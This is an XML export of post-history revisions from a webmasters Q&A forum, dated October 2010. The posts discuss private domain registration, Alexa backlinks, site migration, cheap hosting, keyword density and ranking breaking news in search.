  <row Id="7780" PostHistoryTypeId="3" PostId="3950" RevisionGUID="b3322e69-7a1e-49bd-b4c7-e56776bedf9f" CreationDate="2010-10-17T04:32:13.943" UserId="2487" Text="&lt;cms&gt;&lt;web-hosting&gt;&lt;shared-hosting&gt;" />
  <row Id="7781" PostHistoryTypeId="2" PostId="3951" RevisionGUID="6777714b-bd6b-4cd5-9b9a-cd2e8980ad4d" CreationDate="2010-10-17T04:37:01.733" UserId="2026" Text="i seen many people hides their detail like address, phone number while registering a domain. Sometimes they pay for this private registration. So that their information shouldnt display in whois lookup.&#xD;&#xA;&#xD;&#xA;What is the advantage to do it and paying extra amount?" />
  <row Id="7782" PostHistoryTypeId="1" PostId="3951" RevisionGUID="6777714b-bd6b-4cd5-9b9a-cd2e8980ad4d" CreationDate="2010-10-17T04:37:01.733" UserId="2026" Text="private domain registration" />
  <row Id="7783" PostHistoryTypeId="3" PostId="3951" RevisionGUID="6777714b-bd6b-4cd5-9b9a-cd2e8980ad4d" CreationDate="2010-10-17T04:37:01.733" UserId="2026" Text="&lt;domain-registration&gt;" />
  <row Id="7786" PostHistoryTypeId="2" PostId="3952" RevisionGUID="a82c382a-f73c-4961-b10c-88eceac51f13" CreationDate="2010-10-17T05:26:34.587" UserId="2026" Text="When i check alexa rank for my site it says that one site is linking to my site. is it telling about back links?&#xD;&#xA;&#xD;&#xA;If it is so then why other website traffic checking tools like google etc show different different back links?" />
  <row Id="7787" PostHistoryTypeId="1" PostId="3952" RevisionGUID="a82c382a-f73c-4961-b10c-88eceac51f13" CreationDate="2010-10-17T05:26:34.587" UserId="2026" Text="Understanding alexa rank" />
  <row Id="7788" PostHistoryTypeId="3" PostId="3952" RevisionGUID="a82c382a-f73c-4961-b10c-88eceac51f13" CreationDate="2010-10-17T05:26:34.587" UserId="2026" Text="&lt;website-analytics-tools&gt;" />
  <row Id="7789" PostHistoryTypeId="2" PostId="3953" RevisionGUID="ef14b9f5-a638-4bca-9dca-f01ec31a82ee" CreationDate="2010-10-17T05:49:16.490" UserId="1757" Text="There's no magical way to turn a website migration into a 3-step process, but with planning and some clever scripting, you can make things go a lot more smoothly.&#xD;&#xA;&#xD;&#xA;First things first, is this a static site we're talking about or a dynamic site? There's a reason why most sites these days are dynamic. It's just impractical to manage and maintain a large site comprised of static pages. So if that's what you're dealing with, then unfortunately things will be a lot tougher. Otherwise, you can probably export the existing site's content into a common format and import it into the new CMS.&#xD;&#xA;&#xD;&#xA;However, if you're dealing with a static site, I'd take one of two approaches. The first approach is to write a script that processes the static pages, extracts the contents, and then imports it into the new CMS. The quickest way to do this bulk data is to extract it into a CSV file, and then when you've extracted all the data, use `LOAD DATA INFILE` to load all of the data in one go.&#xD;&#xA;&#xD;&#xA;However, if the site was poorly kludged together and the pages are just too irregular/non-normal to process with a script (broken markup, different document structure on each page, etc.) then you'll need to do it by hand. In this case, I would just source the mindless data-entry work to someone else. You could even just advise the client to have their secretary do it. Otherwise, you could out source it and bill the client.&#xD;&#xA;&#xD;&#xA;Secondly, before you make the migration, map out all of the old URLs to the corresponding pages on the new site. This is a critical planning step that a lot of people overlook, and it costs them a lot of lost traffic as well as years of SEO/SEM investment and PageRank. Pay particular attention to the high traffic/value pages. Which pages have the most backlinks? What are the pages receiving the most organic search traffic? What pages contribute to high conversion rates? Figure all of this out in your planning state and make the appropriate 301 redirects to your new site structure. You don't want people clicking on an old bookmark and going to a 404 page.&#xD;&#xA;&#xD;&#xA;Lastly, if you have an accommodating hosting plan, do not install the new site in the same directory as the existing site. What I like to do is create a new wwwroot folder (e.g. `/www/mycompany.com-2.0`) for the new site and assign it to a test domain (e.g. `test.mycompany.com`). Then you can test the new site out on your production server  while the old site is still up (unless you're using virtualization to maintain exact hardware &amp; software configurations between your production and test servers, you can't be sure that they'll behave the same). Once you've tested it out there, then simply change your Apache/IIS configurations so that the actual company domain is hosted out of the new directory." />
  <row Id="7790" PostHistoryTypeId="2" PostId="3954" RevisionGUID="a86e1ca0-ccae-471c-a038-595f6034cddb" CreationDate="2010-10-17T05:53:25.013" UserId="1757" Text="A lot of people are paranoid about having their home address advertised on the internet. And so if you don't want to open a PO Box, then the best option is to keep your registration info private.&#xD;&#xA;&#xD;&#xA;However, many legitimate domain registrars, like Dreamhost, provide this service for free. So I'd advise you to avoid any registrar who wants to charge you extra for this &quot;service&quot;. I mean, it doesn't cost them anything to keep your info private, and it's a bit like blackmailing domain owners with the threat of some crazed internet stalker coming to their home." />
  <row Id="7791" PostHistoryTypeId="2" PostId="3955" RevisionGUID="24bffb20-3827-429e-abf0-2ed6b6c292c3" CreationDate="2010-10-17T09:19:33.260" UserId="1647" Text="There are basically two reasons for choosing a private domain registration:&#xD;&#xA;&#xD;&#xA;1. Several people are concerned about having their own private data disclosed publicly through WHOIS queries. This is a legitimate concern, usually raised by private people rather than companies.&#xD;&#xA;&#xD;&#xA;2. The second case mostly affects the category of domainers. There are people and companies that registers high number of domains to re-sell them or reserve a very appealing domain name to sell it at a very high price. In this case, you might not want to disclose your data to discourage companies from starting legal actions or just to bother you with tons of emails. In fact, domainers often use third party services such as Sedo.com to re-sell their domains." />
  <row Id="7792" PostHistoryTypeId="2" PostId="3956" RevisionGUID="2a71cb11-6969-471f-b043-d76dff134bd1" CreationDate="2010-10-17T09:22:49.147" UserId="1647" Text="Google AdSense needs to know the content of your page to display the most relevant ads. In your case, it's likely the Mediapartner bot will continue to fetch the page each time a new query is entered. This is because your query doesn't fall into a common &quot;ignore&quot; pattern, such as pages with `sid` parameter.&#xD;&#xA;&#xD;&#xA;If you don't want Mediapartner bot to access your page, you can disallow it in your `robots.txt`." />
  <row Id="7793" PostHistoryTypeId="5" PostId="3953" RevisionGUID="8de1aa3e-1649-424a-a694-f7bdce60be4c" CreationDate="2010-10-17T09:28:13.223" UserId="1757" Comment="reword" Text="There's no magical way to turn a website migration into a 3-step process, but with planning and some clever scripting, you can make things go a lot more smoothly.&#xD;&#xA;&#xD;&#xA;First things first, is this a static site we're talking about or a dynamic site? There's a reason why most sites these days are dynamic. It's just impractical to manage and maintain a large site comprised of static pages. So if that's what you're dealing with, then unfortunately things will be a lot tougher. Otherwise, you can probably export the existing site's content into a common format and import it into the new CMS.&#xD;&#xA;&#xD;&#xA;However, if you're dealing with a static site, I'd take one of two approaches. The first approach is to write a script that processes the static pages, extracts the contents, and then imports it into the new CMS. The quickest way to do this with bulk data is to extract it into a CSV file, and then when you've extracted all the data, use `LOAD DATA INFILE` to load all of the data in one go.&#xD;&#xA;&#xD;&#xA;However, if the site was poorly kludged together and the pages are just too irregular/non-normal to process with a script (broken markup, different document structure on each page, etc.) then you'll need to do it by hand. In this case, I would just source the mindless data-entry work to someone else. You could even just advise the client to have their secretary do it. Otherwise, you could out source it and bill the client.&#xD;&#xA;&#xD;&#xA;Secondly, before you make the migration, map out all of the old URLs to the corresponding pages on the new site. This is a critical planning step that a lot of people overlook, and it costs them a lot of lost traffic as well as years of SEO/SEM investment and PageRank. Pay particular attention to the high traffic/value pages. Which pages have the most backlinks? What are the pages receiving the most organic search traffic? What pages contribute to high conversion rates? Figure all of this out in your planning stage and make the appropriate 301 redirects to your new site structure. You don't want people clicking on an old bookmark and going to a 404 page.&#xD;&#xA;&#xD;&#xA;Lastly, if you have an accommodating hosting plan, do not install the new site in the same directory as the existing site. What I like to do is create a new wwwroot folder (e.g. `/www/mycompany.com-2.0`) for the new site and assign it to a test domain (e.g. `test.mycompany.com`). Then you can test the new site out on your production server  while the old site is still up (unless you're using virtualization to maintain identical hardware &amp; software configurations between your production and test servers, you can't be sure that they'll behave the same). Once you've tested it out there, then simply change your Apache/IIS configurations so that the actual company domain is hosted out of the new directory." />
  <row Id="7794" PostHistoryTypeId="2" PostId="3957" RevisionGUID="265da640-f317-49c1-94da-0c6bac4b36b0" CreationDate="2010-10-17T09:51:43.040" UserId="2490" Text="I am using [arvixe][1] personal asp. Site is never down, fast service (chat) they actually help as you speak. They have .net 4 and full trust (i am running itextsharp there also, no problem with permissions as with godaddy).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="7798" PostHistoryTypeId="5" PostId="3930" RevisionGUID="12a00f5d-df6e-4baf-ab38-58bf8ce281cc" CreationDate="2010-10-17T12:39:36.270" UserId="9301" Comment="edited body" Text="Registering with Google Places seems to give a free good quality link for a website for a local business. Are their similar other other free local listings for which every local business should be listed?" />
  <row Id="7799" PostHistoryTypeId="4" PostId="3930" RevisionGUID="c8a8e526-91e6-486c-9228-abc75e2cf394" CreationDate="2010-10-17T12:45:41.673" UserId="9301" Comment="changed Google Locale to Google Places (see comment)" Text="Google Places like services" />
  <row Id="7800" PostHistoryTypeId="5" PostId="3951" RevisionGUID="f28ccffb-3c2c-4350-bbc3-d7d24f8ce4bd" CreationDate="2010-10-17T13:59:25.197" UserId="108" Comment="added 21 characters in body" Text="I have seen many people hide their personal details like address and phone number while registering a domain. Sometimes they pay for this private registration. So that their information doesn't display in a whois lookup.&#xD;&#xA;&#xD;&#xA;What is the advantage of doing it and paying extra amount?" />
  <row Id="7801" PostHistoryTypeId="5" PostId="3952" RevisionGUID="7dc4e289-8c9b-4746-a74e-1239ceb9aa8e" CreationDate="2010-10-17T14:01:16.050" UserId="108" Comment="added 1 characters in body" Text="When I check Alexa rankings for my site it says that one site is linking to my site. Is this only back links?&#xD;&#xA;&#xD;&#xA;If it is then why are other website traffic checking tools like Google etc showing different different back links?" />
  <row Id="7803" PostHistoryTypeId="5" PostId="3947" RevisionGUID="8fc31204-1fe4-4ae8-bfd8-0ffcc7886660" CreationDate="2010-10-17T14:06:33.353" UserId="108" Comment="deleted 3 characters in body; edited title" Text="If I get the web-design done by someone else, how can I ensure he is not simply passing me some recycled work or blatantly copying/pasting somebody's (or his own) work? &#xD;&#xA;&#xD;&#xA;There really is no way to make sure, right? &#xD;&#xA;&#xD;&#xA;So how can I ask a web-designer from one of those freelancing websites to get the work done? &#xD;&#xA;&#xD;&#xA;How does this entire process work? " />
  <row Id="7804" PostHistoryTypeId="4" PostId="3947" RevisionGUID="8fc31204-1fe4-4ae8-bfd8-0ffcc7886660" CreationDate="2010-10-17T14:06:33.353" UserId="108" Comment="deleted 3 characters in body; edited title" Text="How to ensure a web designer is selling you an original design" />
  <row Id="7805" PostHistoryTypeId="2" PostId="3960" RevisionGUID="3964fd9e-86dd-4b85-857d-2c284c6778db" CreationDate="2010-10-17T14:18:00.067" UserId="108" Text="First off you usually get what you pay for.  So if you hire some unknown to you, web designer off of a website for almost nothing there is probably a good chance of getting a reused/rehashed design.  So if getting a great design is important.  Then you should hire someone you know who has references or someone that has their own blog about web design and has shown off some of their work. Chances are they will cost more but you will get more value.&#xD;&#xA;&#xD;&#xA;Secondly, using code or images from their past projects isn't a big deal if it doesn't make the design look like previous designs by that designer or others.  Doing so will probably save the designer time and you money." />
  <row Id="7806" PostHistoryTypeId="6" PostId="3951" RevisionGUID="b74e603a-4b85-44e1-aaeb-bdd69b4bb481" CreationDate="2010-10-17T14:34:13.803" UserId="1647" Comment="edited tags" Text="&lt;domains&gt;&lt;domain-registration&gt;" />
  <row Id="7807" PostHistoryTypeId="6" PostId="2593" RevisionGUID="85954afd-a6f0-472e-aa62-60575c83d265" CreationDate="2010-10-17T14:36:50.410" UserId="1647" Comment="edited tags" Text="&lt;domains&gt;" />
  <row Id="7808" PostHistoryTypeId="6" PostId="2232" RevisionGUID="9c8bfdb6-a732-4c8f-9292-aa38c7f135d6" CreationDate="2010-10-17T14:37:12.580" UserId="1647" Comment="edited tags" Text="&lt;domains&gt;&lt;top-level-domains&gt;" />
  <row Id="7809" PostHistoryTypeId="6" PostId="3952" RevisionGUID="5684c2bb-09a1-46f3-8328-653257f680dd" CreationDate="2010-10-17T14:38:11.297" UserId="1647" Comment="edited tags" Text="&lt;website-analytics-tools&gt;&lt;alexa&gt;" />
  <row Id="7810" PostHistoryTypeId="2" PostId="3961" RevisionGUID="0af2967a-967f-40ce-9f05-9b6905910b7b" CreationDate="2010-10-17T14:45:04.787" UserId="1253" Text="You'll find that if you compare Yahoo, Bing, Google, Alexa, and anyone else counting backlinks you'll get different numbers from all of them, sometimes but large margins. They all do their own crawling and as a result see different pages and thus get different results. Google has demonstrated that it has the most sophisticated infrastructure so if you had to pick one site's statistics to use I would say it probably should be theirs.&#xD;&#xA;&#xD;&#xA;FYI, Alexa rank is useless. It's wildly inaccurate until you get towards the top 1% or so. Their information only comes from a tiny subset of users who have their spyware installed and thus their numbers are skewed toward their biases. If you want to watch your site skyrocket in their ratings just install their toolbar and visit your site every day." />
  <row Id="7811" PostHistoryTypeId="2" PostId="3962" RevisionGUID="e5797d8a-895d-455d-ad09-9713a97d7f81" CreationDate="2010-10-17T14:47:08.403" UserId="1253" Text="It also keeps your email address private to prevent spam. Spammers are known to crawl whois records to harvest email addresses." />
  <row Id="7812" PostHistoryTypeId="2" PostId="3963" RevisionGUID="25481c25-718c-4a54-971a-d7222e202123" CreationDate="2010-10-17T15:38:27.627" UserDisplayName="Roger Pate" Text="&quot;Ubuntu&quot; is already included in every page title (&quot;Question title - Ubuntu - Stack Exchange&quot;) plus numerous times on the page.  Any search engine that can't associate AskUbuntu posts with Ubuntu isn't worth worrying about.&#xD;&#xA;&#xD;&#xA;Make question titles useful for *real people* first, and search engines will pick up on real people finding the site useful&amp;nbsp;—&amp;nbsp;which is the basis of Google's success.  Including &quot;for Ubuntu&quot; in every question title would get really tiring and lead to less user participation (through confusion and frustration) if enforced&amp;nbsp;—&amp;nbsp;much more disastrous than a loss in SEO, even if that exists." />
  <row Id="7813" PostHistoryTypeId="6" PostId="45" RevisionGUID="2ff4d1c9-74d2-4c94-8dc2-dd570907170a" CreationDate="2010-10-17T15:45:49.670" UserId="1647" Comment="edited tags" Text="&lt;payments&gt;&lt;google-checkout&gt;&lt;payment-gateway&gt;" />
  <row Id="7814" PostHistoryTypeId="6" PostId="2875" RevisionGUID="4de7640f-8f7e-4da5-bdeb-1dd14fe66541" CreationDate="2010-10-17T15:46:10.340" UserId="1647" Comment="edited tags" Text="&lt;payments&gt;&lt;payment-gateway&gt;" />
  <row Id="7815" PostHistoryTypeId="6" PostId="2318" RevisionGUID="acdd79df-7638-4843-9950-41b0e0c14bf9" CreationDate="2010-10-17T15:54:01.100" UserId="1647" Comment="edited tags" Text="&lt;ecommerce&gt;&lt;payments&gt;&lt;paypal&gt;&lt;payment-gateway&gt;" />
  <row Id="7816" PostHistoryTypeId="5" PostId="2075" RevisionGUID="c99985dc-ce5f-4d02-a637-cf40c454a8b3" CreationDate="2010-10-17T15:59:19.020" UserId="1647" Comment="typo and spelling" Text="*Since this is quite a conceptual question which might involve a bit of discussion, I've made it a community wiki*&#xD;&#xA;&#xD;&#xA;I'm working on a site that will work as a fairly simple aggregator of content from various sources including several Twitter, Flickr, and Facebook accounts. Updates will occur on a periodic basis, at which point feed data will be fetched and updated in a local store. A single page on the site will display the latest set of content; other static pages will be updated occasionally.&#xD;&#xA;&#xD;&#xA;I'm building the site on top of WordPress to facilitate easy management for a non-technical editor.&#xD;&#xA;&#xD;&#xA;My initial prototype stored details of each feed item's content (e.g. title, link, description, image) in a custom built database. However, since beginning the WordPress side of things, I'm wondering if it wouldn't make more sense to use the existing WordPress database for this purpose - i.e. store each feed item as a WordPress post (in wp_posts) and additional data in wp_postmeta. The category/tag model could be used to differentiate Twitter items from Flickr ones, etc. This would give the advantage of using just a single database, and also making all WordPress functions available for the management of individual post items.&#xD;&#xA;&#xD;&#xA;Does anyone have an opinion on this, particularly any 'gotchas' or possible pitfalls that may arise from such an approach?" />
  <row Id="7817" PostHistoryTypeId="4" PostId="2075" RevisionGUID="c99985dc-ce5f-4d02-a637-cf40c454a8b3" CreationDate="2010-10-17T15:59:19.020" UserId="1647" Comment="typo and spelling" Text="Implementing an aggregator and integrating it with WordPress" />
  <row Id="7819" PostHistoryTypeId="2" PostId="3964" RevisionGUID="c96ee079-fcc1-484c-996d-0cbe40f730a6" CreationDate="2010-10-17T16:58:53.750" UserId="9301" Text="The thing that matters is whether your visitors will like your page. Will the design encourage them to buy your product? &#xD;&#xA;&#xD;&#xA;As long as the designer isn't violating the copyright of someone else you shouldn't worry about whether it's a duplicate some aspects of a previous design. " />
  <row Id="7821" PostHistoryTypeId="2" PostId="3966" RevisionGUID="57578177-94d0-414c-ada9-a25174991686" CreationDate="2010-10-17T21:16:36.980" UserId="2279" Text="Google have just released a new [Links to your site][1] feature that includes a bunch of enhancements. Most noticeably it will now show which websites link the most to your site. This should enable you to cross reference the data from Alexa. As noted in the other answer the Alexa data is pretty unreliable so maybe the Google enhancements would give better statistics.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/10/webmaster-tools-links-to-your-site.html" />
  <row Id="7822" PostHistoryTypeId="2" PostId="3967" RevisionGUID="26bca378-3bb2-4aac-b1ab-348c41e53f22" CreationDate="2010-10-17T21:51:28.750" UserId="2256" Text="If I have a breaking news and assume that i am the first person to know. How can I get top place in google search?&#xD;&#xA;&#xD;&#xA;Please assume that I do not have a domain yet.&#xD;&#xA;&#xD;&#xA;Please give me some tips. &#xD;&#xA;&#xD;&#xA;Thanks. Hope you'all will appreciate my question." />
  <row Id="7823" PostHistoryTypeId="1" PostId="3967" RevisionGUID="26bca378-3bb2-4aac-b1ab-348c41e53f22" CreationDate="2010-10-17T21:51:28.750" UserId="2256" Text="If I have a breaking news and assume that i am the first person to know. How can I get top place in google search?" />
  <row Id="7824" PostHistoryTypeId="3" PostId="3967" RevisionGUID="26bca378-3bb2-4aac-b1ab-348c41e53f22" CreationDate="2010-10-17T21:51:28.750" UserId="2256" Text="&lt;google&gt;&lt;search-engines&gt;&lt;keywords&gt;&lt;research&gt;" />
  <row Id="7825" PostHistoryTypeId="2" PostId="3968" RevisionGUID="5f507425-653a-4f1a-b6a6-09eff103bc05" CreationDate="2010-10-17T22:12:15.843" UserId="1253" Text="Google will crawl pages that have high PR and frequently change their content with much greater frequency then typical pages. StackOverflow pages seems to be crawled almost constantly as questions appear in Google's search very quickly after being asked.&#xD;&#xA;&#xD;&#xA;So, to ensure you get spotted first, you will need to have a well established site that has accumulated a lot of quality links and updates regularly. You clearly aren't anywhere near that yet. So you may publish the content first but others who are slower then you, but crawled more frequently, will get listed ahead of you and earn links before your page is even crawled. Those links will give them a huge advantage (not to mention their internal linking will give those pages an added advantage as sites that large and established can spread the love around their site quite effectively (e.g. Wikipedia)).&#xD;&#xA;&#xD;&#xA;Getting a top place in search isn't a quick and easy process. It takes time, effort, and some more time. If you don't even have a domain yet I'd say you're nowhere near where you need to be to get high rankings for &quot;breaking news&quot; type of content. **So get started!** You can't get there is you sitting on the sidelines." />
  <row Id="7831" PostHistoryTypeId="6" PostId="3967" RevisionGUID="612572ee-8f1c-45d3-b39f-ce841c290063" CreationDate="2010-10-17T22:49:54.390" UserId="2256" Comment="added seo tag" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;keywords&gt;&lt;research&gt;" />
  <row Id="7836" PostHistoryTypeId="2" PostId="3971" RevisionGUID="23596fb7-b218-4073-998f-223897c430f3" CreationDate="2010-10-18T00:35:11.657" UserId="1757" Text="&gt; What if I have the phrase of the&#xD;&#xA;&gt; breaking news as my domain name.&#xD;&#xA;&#xD;&#xA;While there are entire sites (&quot;[microsites][1]&quot;) that are dedicated to a very narrow topic, they are far and few in between, and usually they're used as a marketing tool to supplement a main site with a broader topic. The reason is that it's just not worthwhile to create, market, and maintain a site for such a narrow scope of information/purpose. It's hard to generate significant quantities of quality content on a single news story, and without content, it's hard to bring visitors to your site or gain PageRank. If you have another well-established larger site, you can pass PR juice onto the microsite, but otherwise it's going to take a lot of time and effort to drive traffic to the site.&#xD;&#xA;&#xD;&#xA;As John Conde noted, it takes time to build up the trust and authority of a site/domain. So is it a worthwhile investment to do so for a site that only covers a specific news story (a topic that likely has a very short shelf-life)? By the time you're able to build up the trust/PR of the site, the news story will likely be stale and few would be searching for the news story anyway.&#xD;&#xA;&#xD;&#xA;Most search engines use algorithms specifically designed to filter out spammy throwaway sites that are quickly thrown up for a quick turnaround. That's why new sites are sandboxed by Google for the first few months. Instead, search engines favor well established sites that have been around for a long time, have a lot of original content, and are well maintained/frequently updated. So building a new site just to get top rank on a breaking news story just doesn't make sense.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Microsite" />
  <row Id="7837" PostHistoryTypeId="2" PostId="3972" RevisionGUID="e888504f-8b94-45c8-a01e-2b8441e2c387" CreationDate="2010-10-18T00:40:53.803" UserId="2499" Text="First time user here (im a StackOverflow regular).&#xD;&#xA;&#xD;&#xA;Looking for a provider to host a splash page for my business.&#xD;&#xA;&#xD;&#xA;One page (index.htm) with some basic HTML (company name, logo, contact details), and a CSS stylesheet. That's it.&#xD;&#xA;&#xD;&#xA;It's mainly for reference (to complement business cards).&#xD;&#xA;&#xD;&#xA;I also don't have a domain purchased yet (but the name is available)&#xD;&#xA;&#xD;&#xA;What's the cheapest provider for this scenario? (if they also offer the DNS, bonus - two birds one stone).&#xD;&#xA;&#xD;&#xA;As it's only one page, and no dynamic content - i obviously don't need a dedicated server, a VPS/shared server would be fine.&#xD;&#xA;&#xD;&#xA;Cheapest/most well known seems to be GoDaddy.&#xD;&#xA;&#xD;&#xA;Can anyone name/recommend a few more?" />
  <row Id="7838" PostHistoryTypeId="1" PostId="3972" RevisionGUID="e888504f-8b94-45c8-a01e-2b8441e2c387" CreationDate="2010-10-18T00:40:53.803" UserId="2499" Text="Cheap Hosting Provider for Business Splash Page?" />
  <row Id="7839" PostHistoryTypeId="3" PostId="3972" RevisionGUID="e888504f-8b94-45c8-a01e-2b8441e2c387" CreationDate="2010-10-18T00:40:53.803" UserId="2499" Text="&lt;web-hosting&gt;" />
  <row Id="7840" PostHistoryTypeId="2" PostId="3973" RevisionGUID="b405a6b0-f07c-4457-8195-c12beb744a92" CreationDate="2010-10-18T00:51:22.910" UserId="1064" Text="HostGator offers shared cPanel hosting which would fit the bill starting at $4.95/mo - there will always be cheaper cPanel shared hosts, but I'd hesitate to recommend any of them because I've seen so many come and go. (or, in the case of midPhase, become highly unreliable and a real pain to work with)&#xD;&#xA;&#xD;&#xA;Whether you have to switch hosts from time to time as a result of downtime or horrible support should *definitely* factor into the effective price of the host - the apparent price tag isn't always the real price tag after you factor in headaches and downtime.&#xD;&#xA;&#xD;&#xA;GoDaddy may very well suit your present needs at a lower price, however, I've always been disappointed with their lack of functionality and configurability in comparison to a standard cPanel implementation." />
  <row Id="7841" PostHistoryTypeId="2" PostId="3975" RevisionGUID="89b761a9-a125-43c8-9c07-c5a45304beab" CreationDate="2010-10-17T07:32:20.667" UserDisplayName="wizztjh" Text="you have to edit the code you use to build the website to connect database with username and password that you use" />
  <row Id="7842" PostHistoryTypeId="2" PostId="3974" RevisionGUID="aa910a71-2284-4e82-a786-2df5ef4f6241" CreationDate="2010-10-17T07:21:58.260" UserDisplayName="Jean" Text="Each time I change the MySQL db password, and update the dbconfig file, the website is down.&#xD;&#xA;&#xD;&#xA;I also flush privileges&#xD;&#xA;&#xD;&#xA;Any idea why?" />
  <row Id="7843" PostHistoryTypeId="1" PostId="3974" RevisionGUID="aa910a71-2284-4e82-a786-2df5ef4f6241" CreationDate="2010-10-17T07:21:58.260" UserDisplayName="Jean" Text="Change of mysql db password brings down website" />
  <row Id="7844" PostHistoryTypeId="3" PostId="3974" RevisionGUID="aa910a71-2284-4e82-a786-2df5ef4f6241" CreationDate="2010-10-17T07:21:58.260" UserDisplayName="Jean" Text="&lt;mysql&gt;&lt;linux&gt;" />
  <row Id="7845" PostHistoryTypeId="17" PostId="3974" RevisionGUID="15127d5c-06db-40c3-8aa3-1f252e73754c" CreationDate="2010-10-18T02:47:59.070" UserId="-1" Comment="from http://stackoverflow.com/questions/3952382/change-of-mysql-db-password-brings-down-website" Text="" />
  <row Id="7846" PostHistoryTypeId="2" PostId="3976" RevisionGUID="9f9f7345-c370-400c-92e3-c8bf48f9e0d5" CreationDate="2010-10-18T03:46:27.263" UserId="2503" Text="[Heroku][1] or [GAE][2]. Both free, and really scalable if/when you need it. They're designed to deploy Ruby and Python/Java apps respectively, but even if you're not using one of those, you can easily host just static HTML.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://heroku.com&#xD;&#xA;  [2]: http://code.google.com/appengine/" />
  <row Id="7847" PostHistoryTypeId="2" PostId="3977" RevisionGUID="aa63a285-e62c-464c-996a-0c9c0a9e1706" CreationDate="2010-10-18T04:09:24.033" UserId="1253" Text="Maybe you should consider hosting it on a local computer and using a dynamic DNS service like [zoneedit][1] provider to point your domain to it. It's free and you have full DNS control as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zoneedit.com/" />
  <row Id="7848" PostHistoryTypeId="2" PostId="3978" RevisionGUID="9904367b-d45d-41f0-a156-c6d1c53c58fb" CreationDate="2010-10-18T04:42:27.897" UserId="2279" Text="Let's say I have a standard issue web page with 500 - 600 words and I'm priming my page for two specific keywords (for the purposes of this example). We know that these words need to feature within the context of the page but how many times should they be used in the body text? How many times is too many? How few is too little? Does it even make any difference any more? Conventionally I have learned and used 2 to 7 % density and typically I've seen SEO organisations use roughly 4 % density for two word phrases.&#xD;&#xA;&#xD;&#xA;If I want this page to perform well in the search engines what are the best practises in relation to densities? What strategies have worked for you on real world projects?" />
  <row Id="7849" PostHistoryTypeId="1" PostId="3978" RevisionGUID="9904367b-d45d-41f0-a156-c6d1c53c58fb" CreationDate="2010-10-18T04:42:27.897" UserId="2279" Text="Keyword Densities - do they still matter?" />
  <row Id="7850" PostHistoryTypeId="3" PostId="3978" RevisionGUID="9904367b-d45d-41f0-a156-c6d1c53c58fb" CreationDate="2010-10-18T04:42:27.897" UserId="2279" Text="&lt;seo&gt;" />
  <row Id="7851" PostHistoryTypeId="2" PostId="3979" RevisionGUID="a1978f02-e530-495a-bdee-95f4861eb11b" CreationDate="2010-10-18T05:43:31.783" UserId="2026" Text="Although it is very diffult to pull a news up in less time especially if is ralted to less popular keywords. But you can make it more popular. I suppose following steps may help you.&#xD;&#xA;&#xD;&#xA;1. First write complete article over your site with copyright notes. Better if you register this article for copyright&#xD;&#xA;2. Write another article with different title on some famous article directory, which is linking to your site.&#xD;&#xA;3. Now the time is to advertise your news. So submit it to various social networking and bookmarking site.&#xD;&#xA;4. Strat searching your own article on search engine using different keywords after some time of publishing&#xD;&#xA;&#xD;&#xA;*dont forget to submit sitemap immediately after writing the article/news." />
  <row Id="7852" PostHistoryTypeId="2" PostId="3980" RevisionGUID="3957afda-4ec6-4ee5-a43e-a3638d0d03a7" CreationDate="2010-10-18T07:56:30.900" UserId="1078" Text="If you can't implement this in your server side code, you can use something like [DoubleClick for Publishers (DFP) Small Business][1]. It's a free hosted ad serving solution and will allow you to do exactly what you want.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/dfp/info/sb/" />
  <row Id="7853" PostHistoryTypeId="2" PostId="3981" RevisionGUID="34f602df-8c9b-4b2f-b561-56eabdc2fde9" CreationDate="2010-10-18T08:14:16.707" UserId="2379" Text="It wouldnt be too tough to write in php.  I would search stack overflow for a slolution but essential this is what i would do.&#xD;&#xA;&#xD;&#xA;I would create an actual email address with a catch all alias associated to it.  Then in MySQL i would create the email addresses that i want to recieve mail to.  &#xD;&#xA;&#xD;&#xA;So i would have : &#xD;&#xA;anon-23432434@mydomain.com&#xD;&#xA;anon-44655654@mydomain.com &#xD;&#xA;(you can name them whatever you want)&#xD;&#xA;&#xD;&#xA;when someone sends email to any of these addresses, it would go to the catchall@mydomain.com email address and sit in the inbox.&#xD;&#xA;&#xD;&#xA;Next create a php script that can use pop to read emails and delete them from the server.  I think PHP has built in functions for this.   The script would check the send to address and look it up in your database.  Then i could forward it to the right recipeient (this is what craigslist does), or it could be more elaborate and put the message in your database for an internal messaging system (sorta like linkedin or facebook)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Not that tough to build at all. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="7854" PostHistoryTypeId="2" PostId="3982" RevisionGUID="963da6e7-d5cf-4930-b498-715fb50a7de0" CreationDate="2010-10-18T08:22:47.547" UserId="1064" Text="Keyword density is close to irrelevant, as evinced by the success of so-called [Google bombing][1] *across most major search engines* - links (and links' anchor text) matter more than on-site content; it doesn't hurt to use the keywords you want to rank for across your site, but the density is far less important than incoming links.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Google_bomb" />
  <row Id="7855" PostHistoryTypeId="2" PostId="3983" RevisionGUID="acf1f87c-e1f2-4c15-b91c-c72cbfa9639a" CreationDate="2010-10-18T08:40:26.417" UserId="2026" Text="As i seen using google webmaster tools, google was cahing near about all links present on a webpage of my site.&#xD;&#xA;&#xD;&#xA;I just want to be ensure, if there is an external link present on my webpage outside the main contents (like sidebar, comments, post footer) then would it be counted as backlink to that side.&#xD;&#xA;&#xD;&#xA;For example, if i let a plugin to display &quot;credit to&quot; or &quot;powered by&quot; etc link then would it be counted as backlink?" />
  <row Id="7856" PostHistoryTypeId="1" PostId="3983" RevisionGUID="acf1f87c-e1f2-4c15-b91c-c72cbfa9639a" CreationDate="2010-10-18T08:40:26.417" UserId="2026" Text="google page scan and backlinks" />
  <row Id="7857" PostHistoryTypeId="3" PostId="3983" RevisionGUID="acf1f87c-e1f2-4c15-b91c-c72cbfa9639a" CreationDate="2010-10-18T08:40:26.417" UserId="2026" Text="&lt;google-webmaster-tools&gt;&lt;backlinks&gt;" />
